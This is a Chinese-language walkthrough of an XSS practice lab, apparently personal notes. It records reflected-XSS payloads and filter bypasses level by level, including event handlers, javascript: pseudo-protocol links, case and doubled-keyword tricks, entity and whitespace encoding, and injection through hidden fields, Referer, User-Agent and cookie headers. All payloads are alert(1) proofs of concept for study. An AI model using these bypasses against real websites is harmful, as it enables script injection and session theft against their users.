第一关原汁原味语句
第2,3,4关直接用 onclick,onmouseover等事件触发
" οnclick=alert(1) // 通杀了,问题出在input框中没有对敏感字符 "或者是' 过滤导致代码逃逸
第五关
发现还是能逃逸,不过有重写,带着事件的就不能用
<script>标签也被搞了
采取伪协议 "> <iframe src=javascript:alert(1)> //
或者插入链接
"> <a href=javascript:alert(1)>haha</a>//
判断后端是有缺陷的正则
既然是伪协议,我就测试了一下%0d,%0a,%09,%20能否执行在 javascript中
结论是需要在等于号的后面打上双引号才能正常执行,%20也就是空格不能执行
也就是%0d,%0a,%09插入在双引号中任意地方均可执行
"> <iframe src=“javascript:alert(1)”> //
如果是事件触发,比如onclick
οnclick="alert(1)" οnclick="javascript:alert(1)" 等则将上面这三个放进去则无法执行
针对html实体编码,无论是事件触发还是其他,则是等号后面或者说是单双引号中间的部分进行实体编码可执行
第六关
针对href大小写一下即可
第七关
关键的字符被删除
堆叠绕过一下
第八关
这关比较狠, < > " 都被实体编码了,意味着无法逃逸
但是下面有个href,直接伪协议
哦牛批,再加上实体编码一波
或者是我上面研究的三符号绕过
第九关
有waf,而且第一个点无法逃逸
难绷,只对http:// 加白,难道https://不合法???
编码即可,注意加注释 //
第十关
对于隐藏的input框,可自己根据前端源码构建参数
poc:t_link= " οnclick=alert(1) > //&t_history= " οnclick=alert(1) > //&t_sort= " οnclick=alert(1)%20 type="text" //
第十一关
挺有意思,下面的参数是Referer
到第十关跳转处修改Referer,进行referer注入
" οnclick=alert(1) type="text"> //
十二关:
明显是UA注入 抓包修改一下就行
十三关:
改cookie,实战的话还是直接反射出去吧....
十五关:
从十四关点进去会有src参数
删了xss路径(
ng-include表示包含外部html文件
包含第一关
至于其他网上说的<>在源码中被实体转义,我发现其实这跟标签无关,源码中的<>无论什么标签都会被转义,至于<script>无法解析,<img>可以解析,我认为与ng-include的特性有关
十六关:
用%0d或者%0a将空格替换,因为空格被实体转义了
十七,十八关:
没什么东西,也就是src后接事件触发,与<input>差不多
得换谷歌浏览器
后两关后面再写